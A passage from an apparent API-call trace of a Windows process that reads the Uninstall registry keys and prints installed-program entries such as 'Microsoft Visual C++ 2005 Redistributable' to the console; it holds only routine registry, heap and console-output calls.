pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.160] GetProcessHeap () returned 0x3c0000 [0150.160] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.160] GetProcessHeap () returned 0x3c0000 [0150.160] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.160] GetProcessHeap () returned 0x3c0000 [0150.160] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.160] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.160] __iob_func () returned 0x7fefd702a80 [0150.160] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.160] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.160] _fileno (_File=0x7fefd702ab0) returned 1 [0150.160] _errno () returned 0x204bb0 [0150.160] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.160] _errno () returned 0x204bb0 [0150.160] GetFileType (hFile=0x50) returned 0x1 [0150.160] lstrlenW (lpString=" ") returned 4 [0150.160] GetConsoleOutputCP () returned 0x1b5 [0150.160] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.160] GetConsoleOutputCP () returned 0x1b5 [0150.160] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.160] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.161] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.161] lstrlenW (lpString="Language") returned 8 [0150.161] __iob_func () returned 0x7fefd702a80 [0150.161] _fileno (_File=0x7fefd702ab0) returned 1 [0150.161] _errno () returned 0x204bb0 [0150.161] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.161] _errno () returned 0x204bb0 [0150.161] GetFileType (hFile=0x50) returned 0x1 [0150.161] lstrlenW (lpString="Language") returned 8 [0150.161] GetConsoleOutputCP () returned 0x1b5 [0150.161] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0150.161] GetConsoleOutputCP () returned 0x1b5 [0150.161] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Language", lpUsedDefaultChar=0x0) returned 8 [0150.161] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0150.161] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.161] __iob_func () returned 0x7fefd702a80 [0150.161] _fileno (_File=0x7fefd702ab0) returned 1 [0150.161] _errno () returned 0x204bb0 [0150.161] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.161] _errno () returned 0x204bb0 [0150.161] GetFileType (hFile=0x50) returned 0x1 [0150.161] lstrlenW (lpString=" ") returned 4 [0150.161] GetConsoleOutputCP () returned 0x1b5 [0150.162] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.162] GetConsoleOutputCP () returned 0x1b5 [0150.162] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.162] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.162] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.162] __iob_func () returned 0x7fefd702a80 [0150.162] _fileno (_File=0x7fefd702ab0) returned 1 [0150.162] _errno () returned 0x204bb0 [0150.162] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.162] _errno () returned 0x204bb0 [0150.162] GetFileType (hFile=0x50) returned 0x1 [0150.162] lstrlenW (lpString="REG_DWORD") returned 9 [0150.162] GetConsoleOutputCP () returned 0x1b5 [0150.162] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.162] GetConsoleOutputCP () returned 0x1b5 [0150.162] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.162] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.162] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.162] __iob_func () returned 0x7fefd702a80 [0150.162] _fileno (_File=0x7fefd702ab0) returned 1 [0150.162] _errno () returned 0x204bb0 [0150.162] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.163] _errno () returned 0x204bb0 [0150.163] GetFileType (hFile=0x50) returned 0x1 [0150.163] lstrlenW (lpString=" ") returned 4 [0150.163] GetConsoleOutputCP () returned 0x1b5 [0150.163] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.163] GetConsoleOutputCP () returned 0x1b5 [0150.163] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.163] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.163] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.163] __iob_func () returned 0x7fefd702a80 [0150.163] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.163] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x0") returned 3 [0150.163] _fileno (_File=0x7fefd702ab0) returned 1 [0150.163] _errno () returned 0x204bb0 [0150.163] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.163] _errno () returned 0x204bb0 [0150.163] GetFileType (hFile=0x50) returned 0x1 [0150.163] lstrlenW (lpString="0x0") returned 3 [0150.163] GetConsoleOutputCP () returned 0x1b5 [0150.163] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.163] GetConsoleOutputCP () returned 0x1b5 [0150.164] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0150.164] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.164] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.164] __iob_func () returned 0x7fefd702a80 [0150.164] _fileno (_File=0x7fefd702ab0) returned 1 [0150.164] _errno () returned 0x204bb0 [0150.164] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.164] _errno () returned 0x204bb0 [0150.164] GetFileType (hFile=0x50) returned 0x1 [0150.164] lstrlenW (lpString="\n") returned 1 [0150.164] GetConsoleOutputCP () returned 0x1b5 [0150.164] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.164] GetConsoleOutputCP () returned 0x1b5 [0150.164] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.164] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.164] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.164] GetProcessHeap () returned 0x3c0000 [0150.164] GetProcessHeap () returned 0x3c0000 [0150.164] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.164] GetProcessHeap () returned 0x3c0000 [0150.164] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.164] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.164] RegEnumValueW (in: hKey=0x5c, dwIndex=0x18, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.165] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x56) returned 0x0 [0150.165] GetProcessHeap () returned 0x3c0000 [0150.165] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x58) returned 0x3db830 [0150.165] GetProcessHeap () returned 0x3c0000 [0150.165] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.165] GetProcessHeap () returned 0x3c0000 [0150.165] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x58 [0150.165] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x56 | out: pdwType=0x29f700*=0x1, pvData="Microsoft Visual C++ 2005 Redistributable", pcbData=0x29f780*=0x54) returned 0x0 [0150.165] __iob_func () returned 0x7fefd702a80 [0150.165] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.165] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.165] _fileno (_File=0x7fefd702ab0) returned 1 [0150.165] _errno () returned 0x204bb0 [0150.165] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.165] _errno () returned 0x204bb0 [0150.165] GetFileType (hFile=0x50) returned 0x1 [0150.165] lstrlenW (lpString=" ") returned 4 [0150.165] GetConsoleOutputCP () returned 0x1b5 [0150.165] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.165] GetConsoleOutputCP () returned 0x1b5 [0150.165] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.165] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.165] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.165] lstrlenW (lpString="DisplayName") returned 11 [0150.165] __iob_func () returned 0x7fefd702a80 [0150.166] _fileno (_File=0x7fefd702ab0) returned 1 [0150.166] _errno () returned 0x204bb0 [0150.166] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.166] _errno () returned 0x204bb0 [0150.166] GetFileType (hFile=0x50) returned 0x1 [0150.166] lstrlenW (lpString="DisplayName") returned 11 [0150.166] GetConsoleOutputCP () returned 0x1b5 [0150.166] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0150.166] GetConsoleOutputCP () returned 0x1b5 [0150.166] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0150.166] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0150.166] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.166] __iob_func () returned 0x7fefd702a80 [0150.166] _fileno (_File=0x7fefd702ab0) returned 1 [0150.166] _errno () returned 0x204bb0 [0150.166] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.166] _errno () returned 0x204bb0 [0150.166] GetFileType (hFile=0x50) returned 0x1 [0150.166] lstrlenW (lpString=" ") returned 4 [0150.166] GetConsoleOutputCP () returned 0x1b5 [0150.166] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.166] GetConsoleOutputCP () returned 0x1b5 [0150.167] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.167] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.167] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.167] __iob_func () returned 0x7fefd702a80 [0150.167] _fileno (_File=0x7fefd702ab0) returned 1 [0150.167] _errno () returned 0x204bb0 [0150.167] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.167] _errno () returned 0x204bb0 [0150.167] GetFileType (hFile=0x50) returned 0x1 [0150.167] lstrlenW (lpString="REG_SZ") returned 6 [0150.167] GetConsoleOutputCP () returned 0x1b5 [0150.167] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.167] GetConsoleOutputCP () returned 0x1b5 [0150.167] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.167] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.167] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.167] __iob_func () returned 0x7fefd702a80 [0150.167] _fileno (_File=0x7fefd702ab0) returned 1 [0150.167] _errno () returned 0x204bb0 [0150.167] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.167] _errno () returned 0x204bb0 [0150.167] GetFileType (hFile=0x50) returned 0x1 [0150.167] lstrlenW (lpString=" ") returned 4 [0150.167] GetConsoleOutputCP () returned 0x1b5 [0150.168] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.168] GetConsoleOutputCP () returned 0x1b5 [0150.168] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.168] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.168] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.168] __iob_func () returned 0x7fefd702a80 [0150.168] _fileno (_File=0x7fefd702ab0) returned 1 [0150.168] _errno () returned 0x204bb0 [0150.168] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.168] _errno () returned 0x204bb0 [0150.168] GetFileType (hFile=0x50) returned 0x1 [0150.168] lstrlenW (lpString="Microsoft Visual C++ 2005 Redistributable") returned 41 [0150.168] GetConsoleOutputCP () returned 0x1b5 [0150.168] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2005 Redistributable", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0150.168] GetConsoleOutputCP () returned 0x1b5 [0150.168] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2005 Redistributable", cchWideChar=41, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Visual C++ 2005 Redistributable", lpUsedDefaultChar=0x0) returned 41 [0150.168] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 41 [0150.168] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.168] __iob_func () returned 0x7fefd702a80 [0150.168] _fileno (_File=0x7fefd702ab0) returned 1 [0150.169] _errno () returned 0x204bb0 [0150.169] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.169] _errno () returned 0x204bb0 [0150.169] GetFileType (hFile=0x50) returned 0x1 [0150.169] lstrlenW (lpString="\n") returned 1 [0150.169] GetConsoleOutputCP () returned 0x1b5 [0150.169] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.169] GetConsoleOutputCP () returned 0x1b5 [0150.169] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.169] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.169] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.169] GetProcessHeap () returned 0x3c0000 [0150.169] GetProcessHeap () returned 0x3c0000 [0150.169] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.169] GetProcessHeap () returned 0x3c0000 [0150.169] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x58 [0150.169] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0150.169] __iob_func () returned 0x7fefd702a80 [0150.169] _fileno (_File=0x7fefd702ab0) returned 1 [0150.169] _errno () returned 0x204bb0 [0150.169] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.169] _errno () returned 0x204bb0 [0150.169] GetFileType (hFile=0x50) returned 0x1 [0150.169] lstrlenW (lpString="\n") returned 1 [0150.169] GetConsoleOutputCP () returned 0x1b5 [0150.170] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.170] GetConsoleOutputCP () returned 0x1b5 [0150.170] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.170] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.170] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.170] GetProcessHeap () returned 0x3c0000 [0150.170] GetProcessHeap () returned 0x3c0000 [0150.170] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0150.170] GetProcessHeap () returned 0x3c0000 [0150.170] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x28 [0150.170] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0150.170] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.170] GetProcessHeap () returned 0x3c0000 [0150.170] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0150.170] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}") returned 121 [0150.170] GetProcessHeap () returned 0x3c0000 [0150.170] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xf6) returned 0x3e1c70 [0150.170] GetProcessHeap () returned 0x3c0000 [0150.170] GetProcessHeap () returned 0x3c0000 [0150.170] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.170] GetProcessHeap () returned 0x3c0000 [0150.170] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0150.170] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.170] GetProcessHeap () returned 0x3c0000 [0150.170] GetProcessHeap () returned 0x3c0000 [0150.170] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.170] GetProcessHeap () returned 0x3c0000 [0150.170] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xf6 [0150.170] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0150.170] RegCloseKey (hKey=0x5c) returned 0x0 [0150.171] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x1e, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{9BE518E6-ECC6-35A9-88E4-87755C07200F}", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.171] __iob_func () returned 0x7fefd702a80 [0150.171] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.171] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{9BE518E6-ECC6-35A9-88E4-87755C07200F}\n") returned 122 [0150.171] _fileno (_File=0x7fefd702ab0) returned 1 [0150.171] _errno () returned 0x204bb0 [0150.171] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.171] _errno () returned 0x204bb0 [0150.171] GetFileType (hFile=0x50) returned 0x1 [0150.171] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{9BE518E6-ECC6-35A9-88E4-87755C07200F}\n") returned 122 [0150.171] GetConsoleOutputCP () returned 0x1b5 [0150.171] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{9BE518E6-ECC6-35A9-88E4-87755C07200F}\n", cchWideChar=122, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 122 [0150.171] GetConsoleOutputCP () returned 0x1b5 [0150.171] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{9BE518E6-ECC6-35A9-88E4-87755C07200F}\n", cchWideChar=122, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{9BE518E6-ECC6-35A9-88E4-87755C07200F}\n", lpUsedDefaultChar=0x0) returned 122 [0150.171] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 122 [0150.171] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.171] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{9BE518E6-ECC6-35A9-88E4-87755C07200F}", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0150.171] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, 